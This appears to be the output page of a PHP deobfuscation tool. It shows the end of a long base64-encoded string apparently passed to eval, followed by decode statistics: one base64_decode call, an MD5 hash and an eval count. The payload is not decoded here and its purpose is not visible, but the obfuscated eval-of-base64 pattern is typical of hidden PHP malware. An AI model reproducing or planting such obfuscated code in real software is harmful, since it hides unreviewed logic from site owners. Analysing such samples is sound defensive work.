Y1MDkzNzE0ZTkzNTgzMGUwODY5ZDcyZTUyZDgyODQxMGZjNDljMjhhNWRlOWMzODJjY2FhM2RiMzc4NGUxYmIzMWY3NTMwMmJlMjI4ZjQ5ZTI3MjRmNmM2ZGUyODU1MmM3MjAyMzI0ODgzYTlhMWU5MzFmN2FjMDkwNDhkYTRiMzQ0YmYxY2VmMTI2NzBmYWQyMWIxMzdjY2ExMjIzYzM0ZWM5YzRmYzFmMTU4MTMzMzhiYjMzYjkyMjNmZTU1N2Q1NzI5NDJjYTI2YzllZjY5OTg0YTg4NTQyOTI1NDU1OWY4ZWM3M2JhMzJjNTRlMmM1OTVjOTRkNDcwMzEzMDYwZjc5YjAzNzk1OTE5MTZjOGU1ZTRiZWE5MDgxMTc5NjJjMmYzMWY3MWMxZDUyOTQ3NTk2MzMyMWU0MWU5MmNhMjE5OTYxNGMwNmE4NmFmMTk2NTFmNjY3MDM4NDllNzliOTMyN2M5OTBmYTE0ZmI4MzBlZjMzYWM4OTNlZDhjMDA3NjNiMWZjYzdkYzBmY2NjNDg0YWFmMDFiMDk2NWVkMjI1OTNkNDEwZmNhMDAwM2FjNGY5YWM0NzlhMzY1YTMyYzA0NGJmOWQ1MTE2ZDJjZmY0ZWJmZjU2MTFkNDNkZDNhYTg2ODI4MjVkZjk5Mzg4ZWJjYzA2Yjc2ZmM4YzlmYmM4ZGJkYjBiMDM0YmQ2MGU3YjExZWQwOTNlNjdjYTVjODQyMzRkNTZjODk3Nzg1NTY0NTkwOWRmMzQzYjM4OTMzMmNhMmRmMWY3ZDliYmE3ZTEyNzFmNTNjN2U5NzI5YjdlOTMzMGExZjg4NmFmMDg2NjI1YzI1ZDNiMDlhNjhlZmZiOWU2Y2FlZmIwMjdmNWYwODUwNmFmMzBkMDc0NGI4MzIwMzk1Mjc3ZTdhMzViMGFjZTg5MjNmZjM1NjdkZDc0YTRhZjRkY2UwOGUzZGJmOGUwOGMxNDA0YjQ5OWE5MmU1YzlhY2Y2NDkwYzE0YzI4YTRmZDQwZWZiYTE5OTkyZjM5ZDFmODg1YzM0NDczMzA5ZjIwYTgzMTEyNDgyZDQ4ZjA1NzdmNThmNDY2NTJjMjlkMzQyMzU3ODFhOTI3ODYyZDlhZTc2M2M4OGJiMWVmMzkyMDU2NDA0NjdlYTE2MDA2MGFmOGNhYzJiMWVjZmE3MWRmOTZiMjE4Nzk4YjQ5OGRiNzk0MWM3ZDJlOWFjYTI0NjNkMDVmNjJhZGZhOGM2OTUxMmM3M2IzNDQwNTJlNGFiNWE4OGIwYzI0MTA3NGU3OTI0YjQ3NDQ5NDU0ZWQ0OGI2NTgyM2ZlZDkwZDAzMWY1OTc3Zjg0MDczZGIxMDQwYmNlYThlNDBiNDNhZjZhMGVmMzU0OGUyZGRhNWI0ZAo=")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 628bd3f0d1ebbe1f66ca8ebbef46dfb8 |
Eval Count | 1 |
Decode Time | 315 ms |